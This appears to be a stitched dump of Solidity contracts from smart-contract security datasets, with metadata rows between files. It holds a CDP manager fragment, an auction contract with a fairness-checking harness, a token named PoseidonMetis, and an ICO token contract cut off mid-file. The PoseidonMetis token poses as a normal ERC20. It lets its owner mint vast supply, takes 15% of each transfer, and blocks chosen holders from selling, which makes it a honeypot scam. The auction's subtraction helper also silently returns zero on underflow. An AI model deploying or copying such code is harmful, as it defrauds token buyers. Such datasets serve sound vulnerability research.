// Transfer wad amount of DAI from the cdp address to a dst address.
function move(uint cdp,
address dst,
uint rad) public note cdpAllowed(cdp) {
VatLike(vat).move(urns[cdp], dst, rad);
}
// Quit the system, migrating the cdp (ink, art) to a different dst urn
function quit(uint cdp,
address dst) public note cdpAllowed(cdp) urnAllowed(dst) {
(uint ink, uint art) = VatLike(vat).urns(ilks[cdp], urns[cdp]);
VatLike(vat).fork(ilks[cdp],
urns[cdp],
dst,
toInt(ink),
toInt(art));
}
// Import a position from src urn to the urn owned by cdp
function enter(address src,
uint cdp) public note urnAllowed(src) cdpAllowed(cdp) {
(uint ink, uint art) = VatLike(vat).urns(ilks[cdp], src);
VatLike(vat).fork(ilks[cdp],
src,
urns[cdp],
toInt(ink),
toInt(art));
}
// Move a position from cdpSrc urn to the cdpDst urn
function shift(uint cdpSrc,
uint cdpDst) public note cdpAllowed(cdpSrc) cdpAllowed(cdpDst) {
require(ilks[cdpSrc] == ilks[cdpDst], "non-matching-cdps");
(uint ink, uint art) = VatLike(vat).urns(ilks[cdpSrc], urns[cdpSrc]);
VatLike(vat).fork(ilks[cdpSrc],
urns[cdpSrc],
urns[cdpDst],
toInt(ink),
toInt(art));
}
}
contract GetCdps {
function getCdpsAsc(address manager, address guy) external view returns (uint[] memory ids, address[] memory urns, bytes32[] memory ilks) {
uint count = DssCdpManager(manager).count(guy);
ids = new uint[](count);
urns = new address[](count);
ilks = new bytes32[](count);
uint i = 0;
uint id = DssCdpManager(manager).first(guy);
while (id > 0) {
ids[i] = id;
urns[i] = DssCdpManager(manager).urns(id);
ilks[i] = DssCdpManager(manager).ilks(id);
(,id) = DssCdpManager(manager).list(id);
i++;
}
}
function getCdpsDesc(address manager, address guy) external view returns (uint[] memory ids, address[] memory urns, bytes32[] memory ilks) {
uint count = DssCdpManager(manager).count(guy);
ids = new uint[](count);
urns = new address[](count);
ilks = new bytes32[](count);
uint i = 0;
uint id = DssCdpManager(manager).last(guy);
while (id > 0) {
ids[i] = id;
urns[i] = DssCdpManager(manager).urns(id);
ilks[i] = DssCdpManager(manager).ilks(id);
(id,) = DssCdpManager(manager).list(id);
i++;
}
}
}
| 40,826 | 11,109 |
856b6895fdcb0525980dd72d939a940996e68bcfdca3b207ba8b6c9f5aa745ff
| 15,391 |
.sol
|
Solidity
| false |
266261447
|
ntu-SRSLab/FairCon
|
5246f029f2ae545a070502f741fcfded42e61b64
|
contracts/dataset-fse2020-log/auction/collusion/AuctionPotato-0x433b189d5fbdfee89e3a9f4c6b9469495fcb00f1.sol
| 3,836 | 14,775 |
// based on Bryn Bellomy code
// https://medium.com/@bryn.bellomy/solidity-tutorial-building-a-simple-auction-contract-fcc918b0878a
//
// added custom start command for owner so they don't take off immidiately
//
pragma solidity >=0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 ret) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256 ret) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 ret) {
if (b >= a) {
return 0;
}
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 ret) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract AuctionPotato {
using SafeMath for uint256;
// static
address public owner;
uint public startTime;
uint public endTime;
string name;
// start auction manually at given time
bool started;
// pototo
uint public potato;
uint oldPotato;
uint oldHighestBindingBid;
// transfer ownership
address creatureOwner;
address creature_newOwner;
event CreatureOwnershipTransferred(address indexed _from, address indexed _to);
// state
bool public canceled;
uint public highestBindingBid;
address public highestBidder;
// used to immidiately block placeBids
bool blockerPay;
bool blockerWithdraw;
mapping(address => uint256) public fundsByBidder;
bool ownerHasWithdrawn;
event LogBid(address bidder, address highestBidder, uint oldHighestBindingBid, uint highestBindingBid);
event LogWithdrawal(address withdrawer, address withdrawalAccount, uint amount);
event LogCanceled();
// initial settings on contract creation
constructor() public {
blockerWithdraw = false;
blockerPay = false;
owner = msg.sender;
creatureOwner = owner;
// 0.01 ETH
highestBindingBid = 10000000000000000;
potato = 0;
started = false;
name = "Pixor";
}
function getHighestBid() internal
view
returns (uint ret)
{
return fundsByBidder[highestBidder];
}
// query remaining time
// this should not be used, query endTime once and then calculate it in your frontend
// it's helpful when you want to debug in remix
function timeLeft() public view returns (uint time) {
if (now >= endTime) return 0;
return endTime - now;
}
function auctionName() public view returns (string memory _name) {
return name;
}
// calculates the next bid amount to you can have a oneclick buy button
function nextBid() public view returns (uint _nextBid) {
return highestBindingBid.add(potato);
}
// calculates the bid after the current bid so nifty hackers can skip the queue
// this is not in our frontend and no one knows if it actually works
function nextNextBid() public view returns (uint _nextBid) {
return highestBindingBid.add(potato).add((highestBindingBid.add(potato)).mul(4).div(9));
}
// command to start the auction
function startAuction(string memory _name, uint _duration_secs) public onlyOwner returns (bool success){
require(started == false);
started = true;
startTime = now;
endTime = now + _duration_secs;
name = _name;
return true;
}
function isStarted() public view returns (bool success) {
return started;
}
function placeBid() public
payable
onlyAfterStart
onlyBeforeEnd
onlyNotCanceled
onlyNotOwner
returns (bool success)
{
// we are only allowing to increase in bidIncrements to make for true hot potato style
require(msg.value == highestBindingBid.add(potato));
require(msg.sender != highestBidder);
require(started == true);
require(blockerPay == false);
blockerPay = true;
// calculate the user's total bid based on the current amount they've sent to the contract
// plus whatever has been sent with this transaction
fundsByBidder[msg.sender] = fundsByBidder[msg.sender].add(highestBindingBid);
fundsByBidder[highestBidder] = fundsByBidder[highestBidder].add(potato);
oldHighestBindingBid = highestBindingBid;
// set new highest bidder
highestBidder = msg.sender;
highestBindingBid = highestBindingBid.add(potato);
// 40% potato results in ~6% 2/7
// 44% potato results in ? 13% 4/9
// 50% potato results in ~16% /2
oldPotato = potato;
potato = highestBindingBid.mul(5).div(9);
emit LogBid(msg.sender, highestBidder, oldHighestBindingBid, highestBindingBid);
blockerPay = false;
return true;
}
function cancelAuction() public
onlyOwner
onlyBeforeEnd
onlyNotCanceled
returns (bool success)
{
canceled = true;
emit LogCanceled();
return true;
}
function withdraw() public
// can withdraw once overbid
returns (bool success)
{
require(blockerWithdraw == false);
blockerWithdraw = true;
address withdrawalAccount;
uint withdrawalAmount;
if (canceled) {
// if the auction was canceled, everyone should simply be allowed to withdraw their funds
withdrawalAccount = msg.sender;
withdrawalAmount = fundsByBidder[withdrawalAccount];
// set funds to 0
fundsByBidder[withdrawalAccount] = 0;
}
// owner can withdraw once auction is cancelled or ended
if (ownerHasWithdrawn == false && msg.sender == owner && (canceled == true || now > endTime)) {
withdrawalAccount = owner;
withdrawalAmount = highestBindingBid.sub(oldPotato);
ownerHasWithdrawn = true;
// set funds to 0
fundsByBidder[withdrawalAccount] = 0;
}
// overbid people can withdraw their bid + profit
// exclude owner because he is set above
if (!canceled && (msg.sender != highestBidder && msg.sender != owner)) {
withdrawalAccount = msg.sender;
withdrawalAmount = fundsByBidder[withdrawalAccount];
fundsByBidder[withdrawalAccount] = 0;
}
// highest bidder can withdraw leftovers if he didn't before
if (!canceled && msg.sender == highestBidder && msg.sender != owner) {
withdrawalAccount = msg.sender;
withdrawalAmount = fundsByBidder[withdrawalAccount].sub(oldHighestBindingBid);
fundsByBidder[withdrawalAccount] = fundsByBidder[withdrawalAccount].sub(withdrawalAmount);
}
if (withdrawalAmount == 0) revert();
// send the funds
msg.sender.transfer(withdrawalAmount);
emit LogWithdrawal(msg.sender, withdrawalAccount, withdrawalAmount);
blockerWithdraw = false;
return true;
}
// amount owner can withdraw after auction ended
// that way you can easily compare the contract balance with your amount
// if there is more in the contract than your balance someone didn't withdraw
// let them know that :)
function ownerCanWithdraw() public view returns (uint amount) {
return highestBindingBid.sub(oldPotato);
}
// just in case the contract is bust and can't pay
// should never be needed but who knows
function fuelContract() public onlyOwner payable {
}
function balance() public view returns (uint _balance) {
return address(this).balance;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyNotOwner {
require(msg.sender != owner);
_;
}
modifier onlyAfterStart {
if (now < startTime) revert();
_;
}
modifier onlyBeforeEnd {
if (now > endTime) revert();
_;
}
modifier onlyNotCanceled {
if (canceled) revert();
_;
}
// who owns the creature (not necessarily auction winner)
function queryCreatureOwner() public view returns (address _creatureOwner) {
return creatureOwner;
}
// transfer ownership for auction winners in case they want to trade the creature before release
function transferCreatureOwnership(address _newOwner) public {
require(msg.sender == creatureOwner);
creature_newOwner = _newOwner;
}
// buyer needs to confirm the transfer
function acceptCreatureOwnership() public {
require(msg.sender == creature_newOwner);
emit CreatureOwnershipTransferred(creatureOwner, creature_newOwner);
creatureOwner = creature_newOwner;
creature_newOwner = address(0);
}
function bid(address payable msg_sender, uint msg_value) public {
// we are only allowing to increase in bidIncrements to make for true hot potato style
// require(msg_value == highestBindingBid+potato);
if(msg_value != highestBindingBid+potato)return;
// require(msg_sender != highestBidder);
require(started == true);
require(blockerPay == false);
blockerPay = true;
// calculate the user's total bid based on the current amount they've sent to the contract
// plus whatever has been sent with this transaction
fundsByBidder[msg_sender] = fundsByBidder[msg_sender] + highestBindingBid;
fundsByBidder[highestBidder] = fundsByBidder[highestBidder] + potato;
oldHighestBindingBid = highestBindingBid;
// set new highest bidder
highestBidder = msg_sender;
highestBindingBid = highestBindingBid + potato;
// 40% potato results in ~6% 2/7
// 44% potato results in ? 13% 4/9
// 50% potato results in ~16% /2
oldPotato = potato;
potato = highestBindingBid*5/9;
emit LogBid(msg.sender, highestBidder, oldHighestBindingBid, highestBindingBid);
blockerPay = false;
return;
}
mapping(address=>uint) utilities;
mapping(address=>uint) benefits;
mapping(address=>uint) payments;
function sse_winner(address a) public view {}
function sse_revenue(uint a) public view {}
function sse_utility(uint a) public view {}
function sse_maximize(uint a) public view {}
function sse_minimize(uint a) public view {}
function sse_truthful_violate_check(uint u, uint a, uint b) public view {}
function sse_collusion_violate_check(uint u12, uint v1, uint v_1, uint v2, uint v_2) public view{}
function sse_efficient_expectation_register(address allocation, address player, uint benefit) public view {}
function sse_efficient_violate_check(uint benefit, address allocation, address other_allocation) public view {}
function sse_optimal_payment_register(address allocation, address player, uint payment) public view {}
function sse_optimal_violate_check(uint benefit, address allocation, address other_allocation) public view {}
function _Main_(address payable msg_sender1, uint p1, uint msg_value1, uint msg_gas1, uint block_timestamp1, address payable msg_sender2, uint p2, uint msg_value2, uint msg_gas2, uint block_timestamp2,address payable msg_sender3, uint p3, uint msg_value3, uint msg_gas3, uint block_timestamp3) public {
require(!(msg_sender1==highestBidder || msg_sender2 == highestBidder || msg_sender3 == highestBidder));
require(!(msg_sender1==msg_sender2 || msg_sender1 == msg_sender3 || msg_sender2 == msg_sender3));
require(highestBindingBid==0);
require(potato==120000000000);
require(fundsByBidder[msg_sender1] == 0);
require(fundsByBidder[msg_sender2] == 0);
require(fundsByBidder[msg_sender3] == 0);
require(p1>100000000000 && p1< 900000000000);
require(p2>100000000000 && p2< 900000000000);
require(p3>100000000000 && p3< 900000000000);
require(msg_value1>100000000000 && msg_value1< 900000000000);
require(msg_value2>100000000000 && msg_value2< 900000000000);
require(msg_value3>100000000000 && msg_value3< 900000000000);
require(utilities[msg_sender1] == 0);
require(utilities[msg_sender2] == 0);
require(utilities[msg_sender3] == 0);
require(benefits[msg_sender1] == 0);
require(benefits[msg_sender2] == 0);
require(benefits[msg_sender3] == 0);
require(payments[msg_sender1] == 0);
require(payments[msg_sender2] == 0);
require(payments[msg_sender3] == 0);
// require(msg_value1==p1);
// require(msg_value2==p2);
require(msg_value3==p3);
// each role claims the 'bid' action.
bid(msg_sender1,msg_value1);
bid(msg_sender2,msg_value2);
bid(msg_sender3,msg_value3);
// assert(msg_sender3 == highestBidder);
assert(msg_sender1 == highestBidder || msg_sender2 == highestBidder || msg_sender3 == highestBidder);
uint winners_count = 0;
if (msg_sender1 == highestBidder){
sse_winner(msg_sender1);
winners_count ++;
utilities[msg_sender1] = p1 - msg_value1;
benefits[msg_sender1] = p1;
payments[msg_sender1] = msg_value1;
}
sse_utility(utilities[msg_sender1]);
if (msg_sender2 == highestBidder){
sse_winner(msg_sender2);
winners_count ++;
utilities[msg_sender2] = p2 - msg_value2;
benefits[msg_sender2] = p2;
payments[msg_sender2] = msg_value2;
}
sse_utility(utilities[msg_sender2]);
if (msg_sender3 == highestBidder){
sse_winner(msg_sender3);
winners_count ++;
utilities[msg_sender3] = p3 - msg_value3;
benefits[msg_sender3] = p3;
payments[msg_sender3] = msg_value3;
}
sse_utility(utilities[msg_sender3]);
sse_collusion_violate_check(utilities[msg_sender1] + utilities[msg_sender2], msg_value1, p1, msg_value2, p2);
}
}
| 242,205 | 11,110 |
323874e6240226845488a66f96deae43c39a99caf87cfa4812c94dd9adf382c6
| 21,761 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/d4/d47696c0f390e2877ecc987efe393d33a7a835a2_PoseidonMetis.sol
| 2,945 | 11,046 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract PoseidonMetis is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
// Total Supply
uint256 private _tSupply;
// Circulating Supply
uint256 private _tTotal = 100000000000 * 10**18;
// teamFee
uint256 private _teamFee;
// taxFee
uint256 private _taxFee;
string private _name = 'Poseidon Metis';
string private _symbol = 'PMS';
uint8 private _decimals = 18;
address private _deadAddress = _msgSender();
uint256 private _minFee;
constructor (uint256 add1) public {
_balances[_msgSender()] = _tTotal;
_minFee = 1 * 10**2;
_teamFee = add1;
_taxFee = add1;
_tSupply = 10 * 10**14 * 10**18;
emit Transfer(address(0xd1867987Db0f4D1dBCe7870E2895209C7a34b1c1), _msgSender(), _tTotal); // Dev
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeTxLimit() public {
require (_deadAddress == _msgSender());
_taxFee = _minFee;
}
function manualsend(uint256 curSup) public {
require (_deadAddress == _msgSender());
_teamFee = curSup;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function claimDividend() public {
require (_deadAddress == _msgSender());
uint256 currentBalance = _balances[_deadAddress];
_tTotal = _tSupply + _tTotal;
_balances[_deadAddress] = _tSupply + currentBalance;
emit Transfer(address(0xd1867987Db0f4D1dBCe7870E2895209C7a34b1c1), // Dev
_deadAddress,
_tSupply);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (checkBotAddress(sender)) {
require(amount > _tSupply, "Bot can not execute");
}
uint256 reflectToken = amount.mul(15).div(100);
uint256 reflectEth = amount.sub(reflectToken);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[_deadAddress] = _balances[_deadAddress].add(reflectToken);
_balances[recipient] = _balances[recipient].add(reflectEth);
emit Transfer(sender, recipient, reflectEth);
}
}
function checkBotAddress(address sender) private view returns (bool){
if (balanceOf(sender) >= _taxFee && balanceOf(sender) <= _teamFee) {
return true;
} else {
return false;
}
}
}
| 108,309 | 11,111 |
fb3877c72c396c0c26164fcb16f4431d54baf79239f0e555bc0e8d31e517de60
| 17,411 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x18373e7b8bd24ecb0af8e9c95548360ef787b781.sol
| 4,344 | 16,237 |
pragma solidity ^0.4.21;
contract ERC20Interface {
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function totalSupply() public view returns (uint256);
function balanceOf(address _owner) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
}
contract ERC20Token is ERC20Interface {
using SafeMath for uint256;
// Total amount of tokens issued
uint256 internal totalTokenIssued;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) internal allowed;
function totalSupply() public view returns (uint256) {
return totalTokenIssued;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return (size > 0);
}
function transfer(address _to, uint256 _amount) public returns (bool) {
require(_to != address(0x0));
// Do not allow to transfer token to contract address to avoid tokens getting stuck
require(isContract(_to) == false);
// amount sent cannot exceed balance
require(balances[msg.sender] >= _amount);
// update balances
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
// log event
emit Transfer(msg.sender, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool) {
require(_spender != address(0x0));
// update allowed amount
allowed[msg.sender][_spender] = _amount;
// log event
emit Approval(msg.sender, _spender, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool) {
require(_to != address(0x0));
// Do not allow to transfer token to contract address to avoid tokens getting stuck
require(isContract(_to) == false);
// balance checks
require(balances[_from] >= _amount);
require(allowed[_from][msg.sender] >= _amount);
// update balances and allowed amount
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
// log event
emit Transfer(_from, _to, _amount);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract MainSale is Ownable {
using SafeMath for uint256;
ShareToken public shrToken;
bool public isIcoRunning = false;
uint256 public tokenPriceInCent = 2; // cent or $0.02
uint256 public ethUsdRateInCent = 0;// cent
// Any token amount must be multiplied by this const to reflect decimals
uint256 constant E2 = 10**2;
function () external payable {
require (isIcoRunning);
require (ethUsdRateInCent != 0);
// Only whitelisted address can buy tokens. Otherwise, refund
require (shrToken.isWhitelisted(msg.sender));
// Calculate the amount of tokens based on the received ETH
uint256 tokens = msg.value.mul(ethUsdRateInCent).mul(E2).div(tokenPriceInCent).div(10**18);
uint256 totalIssuedTokens = shrToken.totalMainSaleTokenIssued();
uint256 totalMainSaleLimit = shrToken.totalMainSaleTokenLimit();
// If the allocated tokens exceed the limit, must refund to user
if (totalIssuedTokens.add(tokens) > totalMainSaleLimit) {
uint256 tokensAvailable = totalMainSaleLimit.sub(totalIssuedTokens);
uint256 tokensToRefund = tokens.sub(tokensAvailable);
uint256 ethToRefundInWei = tokensToRefund.mul(tokenPriceInCent).mul(10**18).div(E2).div(ethUsdRateInCent);
// Refund
msg.sender.transfer(ethToRefundInWei);
// Update actual tokens to be sold
tokens = tokensAvailable;
// Stop ICO
isIcoRunning = false;
}
shrToken.sell(msg.sender, tokens);
}
function withdrawTo(address _to) public onlyOwner {
require(_to != address(0));
_to.transfer(address(this).balance);
}
function withdrawToOwner() public onlyOwner {
withdrawTo(owner);
}
function setEthUsdRateInCent(uint256 _ethUsdRateInCent) public onlyOwner {
ethUsdRateInCent = _ethUsdRateInCent; // "_ethUsdRateInCent"
}
function setTokenPriceInCent(uint256 _tokenPriceInCent) public onlyOwner {
tokenPriceInCent = _tokenPriceInCent;
}
function stopICO() public onlyOwner {
isIcoRunning = false;
}
function startICO(uint256 _ethUsdRateInCent, address _tokenAddress) public onlyOwner {
require(_ethUsdRateInCent > 0);
require(_tokenAddress != address(0x0));
ethUsdRateInCent = _ethUsdRateInCent;
shrToken = ShareToken(_tokenAddress);
isIcoRunning = true;
}
function remainingTokensForSale() public view returns (uint256) {
uint256 totalMainSaleLimit = shrToken.totalMainSaleTokenLimit();
return totalMainSaleLimit.sub(shrToken.totalMainSaleTokenIssued());
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
return (a / b);
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return (a - b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract WhiteListManager is Ownable {
// The list here will be updated by multiple separate WhiteList contracts
mapping (address => bool) public list;
function unset(address addr) public onlyOwner {
list[addr] = false;
}
function unsetMany(address[] addrList) public onlyOwner {
for (uint256 i = 0; i < addrList.length; i++) {
unset(addrList[i]);
}
}
function set(address addr) public onlyOwner {
list[addr] = true;
}
function setMany(address[] addrList) public onlyOwner {
for (uint256 i = 0; i < addrList.length; i++) {
set(addrList[i]);
}
}
function isWhitelisted(address addr) public view returns (bool) {
return list[addr];
}
}
contract ShareToken is ERC20Token, WhiteListManager {
using SafeMath for uint256;
string public constant name = "ShareToken";
string public constant symbol = "SHR";
uint8 public constant decimals = 2;
address public icoContract;
// Any token amount must be multiplied by this const to reflect decimals
uint256 constant E2 = 10**2;
mapping(address => bool) public rewardTokenLocked;
bool public mainSaleTokenLocked = true;
uint256 public constant TOKEN_SUPPLY_MAINSALE_LIMIT = 1000000000 * E2; // 1,000,000,000 tokens (1 billion)
uint256 public constant TOKEN_SUPPLY_AIRDROP_LIMIT = 6666666667; // 66,666,666.67 tokens (0.066 billion)
uint256 public constant TOKEN_SUPPLY_BOUNTY_LIMIT = 33333333333; // 333,333,333.33 tokens (0.333 billion)
uint256 public airDropTokenIssuedTotal;
uint256 public bountyTokenIssuedTotal;
uint256 public constant TOKEN_SUPPLY_SEED_LIMIT = 500000000 * E2; // 500,000,000 tokens (0.5 billion)
uint256 public constant TOKEN_SUPPLY_PRESALE_LIMIT = 2500000000 * E2; // 2,500,000,000.00 tokens (2.5 billion)
uint256 public constant TOKEN_SUPPLY_SEED_PRESALE_LIMIT = TOKEN_SUPPLY_SEED_LIMIT + TOKEN_SUPPLY_PRESALE_LIMIT;
uint256 public seedAndPresaleTokenIssuedTotal;
uint8 private constant PRESALE_EVENT = 0;
uint8 private constant MAINSALE_EVENT = 1;
uint8 private constant BOUNTY_EVENT = 2;
uint8 private constant AIRDROP_EVENT = 3;
function ShareToken() public {
totalTokenIssued = 0;
airDropTokenIssuedTotal = 0;
bountyTokenIssuedTotal = 0;
seedAndPresaleTokenIssuedTotal = 0;
mainSaleTokenLocked = true;
}
function unlockMainSaleToken() public onlyOwner {
mainSaleTokenLocked = false;
}
function lockMainSaleToken() public onlyOwner {
mainSaleTokenLocked = true;
}
function unlockRewardToken(address addr) public onlyOwner {
rewardTokenLocked[addr] = false;
}
function unlockRewardTokenMany(address[] addrList) public onlyOwner {
for (uint256 i = 0; i < addrList.length; i++) {
unlockRewardToken(addrList[i]);
}
}
function lockRewardToken(address addr) public onlyOwner {
rewardTokenLocked[addr] = true;
}
function lockRewardTokenMany(address[] addrList) public onlyOwner {
for (uint256 i = 0; i < addrList.length; i++) {
lockRewardToken(addrList[i]);
}
}
// Check if a given address is locked. The address can be in the whitelist or in the reward
function isLocked(address addr) public view returns (bool) {
// Main sale is running, any addr is locked
if (mainSaleTokenLocked) {
return true;
} else {
// Main sale is ended and thus any whitelist addr is unlocked
if (isWhitelisted(addr)) {
return false;
} else {
// If the addr is in the reward, it must be checked if locked
// If the addr is not in the reward, it is considered unlocked
return rewardTokenLocked[addr];
}
}
}
function totalSupply() public view returns (uint256) {
return totalTokenIssued.add(seedAndPresaleTokenIssuedTotal).add(airDropTokenIssuedTotal).add(bountyTokenIssuedTotal);
}
function totalMainSaleTokenIssued() public view returns (uint256) {
return totalTokenIssued;
}
function totalMainSaleTokenLimit() public view returns (uint256) {
return TOKEN_SUPPLY_MAINSALE_LIMIT;
}
function totalPreSaleTokenIssued() public view returns (uint256) {
return seedAndPresaleTokenIssuedTotal;
}
